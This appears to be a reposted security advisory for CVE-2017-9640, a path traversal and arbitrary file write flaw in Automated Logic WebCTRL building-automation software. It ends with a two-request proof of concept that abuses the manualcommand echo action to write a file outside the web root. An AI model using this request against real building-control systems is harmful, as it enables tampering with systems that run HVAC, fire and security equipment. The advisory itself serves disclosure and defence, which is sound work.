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# Automated Logic WebCTRL 6.1 Path Traversal Arbitrary File Write Vulnerability

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Automated Logic WebCTRL 6.1 Path Traversal Arbitrary File Write


Vendor: Automated Logic Corporation
Product web page: http://www.automatedlogic.com
Affected version: ALC WebCTRL, SiteScan Web 6.1 and prior
                  ALC WebCTRL, i-Vu 6.0 and prior
                  ALC WebCTRL, i-Vu, SiteScan Web 5.5 and prior
                  ALC WebCTRL, i-Vu, SiteScan Web 5.2 and prior

Summary: WebCTRLA(r), Automated Logic's web-based building automation
system, is known for its intuitive user interface and powerful integration
capabilities. It allows building operators to optimize and manage
all of their building systems - including HVAC, lighting, fire, elevators,
and security - all within a single HVAC controls platform. It's everything
they need to keep occupants comfortable, manage energy conservation measures,
identify key operational problems, and validate the results.

Desc: The vulnerability is triggered by an authenticated user that can use
the manualcommand console in the management panel of the affected application.
The ManualCommand() function in ManualCommand.js allows users to perform additional
diagnostics and settings overview by using pre-defined set of commands. This
can be exploited by using the echo command to write and/or overwrite arbitrary
files on the system including directory traversal throughout the system.

Tested on: Microsoft Windows 7 Professional (6.1.7601 Service Pack 1 Build 7601)
           Apache-Coyote/1.1
           Apache Tomcat/7.0.42
           CJServer/1.1
           Java/1.7.0_25-b17
           Java HotSpot Server VM 23.25-b01
           Ant 1.7.0
           Axis 1.4
           Trove 2.0.2
           Xalan Java 2.4.1
           Xerces-J 2.6.1


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5430
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5430.php

CVE ID: CVE-2017-9640
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9640


30.01.2017

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PoC:

GET /_common/servlet/lvl5/manualcommand?wbs=251&action=echo%20peend>..\touch.txt&id=7331 HTTP/1.1
Host: TARGET

---

GET http://TARGET/touch.txt HTTP/1.1

peend

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# Iranian Exploit DataBase = http://IeDb.Ir [2017-09-01]

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